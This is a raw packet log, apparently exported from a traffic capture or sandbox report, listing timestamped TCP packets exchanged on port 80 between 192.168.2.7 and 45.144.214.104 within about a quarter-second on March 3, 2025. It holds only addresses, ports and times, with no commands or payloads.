Mar 3, 2025 08:45:54.404340029 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.404344082 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404355049 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404366970 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404367924 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.404378891 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404392004 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.404392958 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404405117 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404417038 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404428959 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404439926 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.404439926 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404453039 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404469013 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.404474020 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.404503107 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.405040026 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405050993 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405062914 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405082941 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405087948 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.405093908 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405106068 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405108929 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.405119896 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405144930 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405150890 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.405155897 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405168056 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405181885 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.405200958 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405206919 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.405219078 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405230045 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405234098 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.405241966 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.405268908 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.406016111 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406060934 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.406136990 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406188965 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406200886 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406236887 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406238079 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.406248093 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406260014 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406270027 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.406311035 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.406333923 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406351089 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406362057 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406374931 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406388044 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406399965 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406409025 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.406413078 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.406447887 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.407068014 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407088995 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407102108 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407114029 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407125950 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407134056 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.407136917 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407150030 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407159090 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.407160997 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407175064 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407186031 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.407187939 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.407210112 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.408535004 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.532970905 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.532985926 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533041000 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533092976 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533162117 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533200026 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533262014 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533273935 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533284903 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533323050 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533335924 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533348083 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533360004 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533371925 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533373117 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533396006 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533499002 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533510923 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533516884 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533555031 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533579111 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533585072 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533603907 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533615112 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533622026 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533629894 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533641100 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533660889 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533694983 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533881903 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533900976 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533915043 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533945084 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533947945 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.533957005 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533967972 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533988953 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.533993006 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534002066 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534015894 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534022093 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534059048 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534346104 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534358025 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534370899 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534383059 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534394979 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534400940 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534440994 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534475088 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534487963 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534499884 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534544945 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534545898 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534558058 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534569025 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534599066 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534627914 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534634113 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534646034 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534657001 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534667969 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534679890 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534681082 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534692049 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534744978 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534756899 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534763098 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534770012 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534791946 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534804106 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534804106 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534815073 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534826994 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.534831047 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.534857988 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538288116 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538305044 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538316965 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538328886 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538341045 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538347960 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538352013 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538363934 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538374901 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538388014 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538398981 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538425922 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538449049 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538464069 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538480997 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538494110 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538512945 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538525105 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538527966 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538536072 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538552046 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538558006 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538561106 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538578987 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538593054 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538691998 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538703918 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538716078 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538732052 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538743019 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538753033 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538755894 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538774014 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538779020 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538788080 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538799047 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.538805962 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.538832903 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.539083004 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539096117 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539108038 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539141893 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.539150000 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539160967 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.539163113 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539175034 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539228916 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.539258003 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539269924 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539280891 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539294004 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539304972 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.539320946 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539331913 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.539334059 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539345980 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539360046 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539367914 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.539371967 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539383888 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539397001 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539406061 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.539410114 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.539437056 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.540097952 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540110111 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540122986 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540133953 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540149927 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540163040 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.540169954 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540175915 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540182114 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540185928 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540188074 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540191889 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.540191889 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540205002 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540219069 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540230036 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540232897 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.540242910 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540255070 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540262938 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.540266037 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540277958 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540285110 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.540290117 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540302038 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.540309906 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.540358067 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.620140076 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620170116 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620181084 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620198965 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620218992 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620228052 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.620230913 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620243073 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620254040 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620275021 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620284081 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.620286942 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.620316029 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.664875031 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.664901972 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.664912939 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.664948940 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.664962053 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.664973974 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.664993048 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.664998055 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665007114 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665020943 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665029049 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665049076 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665059090 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665060997 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665071964 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665088892 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665091991 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665101051 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665107012 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665144920 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665152073 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665163040 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665177107 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665179968 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665208101 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665211916 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665219069 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665231943 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665293932 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665297031 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665309906 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665313959 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665321112 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665333033 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665345907 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665365934 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665441036 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665452957 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665463924 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665473938 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665484905 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665491104 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665499926 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665523052 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665527105 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665534973 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665545940 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665555954 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665556908 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665569067 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665591955 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665621996 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665640116 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665652037 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665664911 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665688038 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665694952 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665707111 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665716887 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665729046 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665729046 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665750980 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665807009 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665817976 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665828943 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665841103 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665846109 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665858984 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665863991 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665873051 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665884972 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.665898085 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.665919065 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.666045904 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666057110 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666069984 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666080952 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666088104 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666099072 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666111946 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666121960 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.666122913 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666151047 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.666176081 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.666199923 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666217089 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.666227102 CET	80	49705	45.144.214.104	192.168.2.7
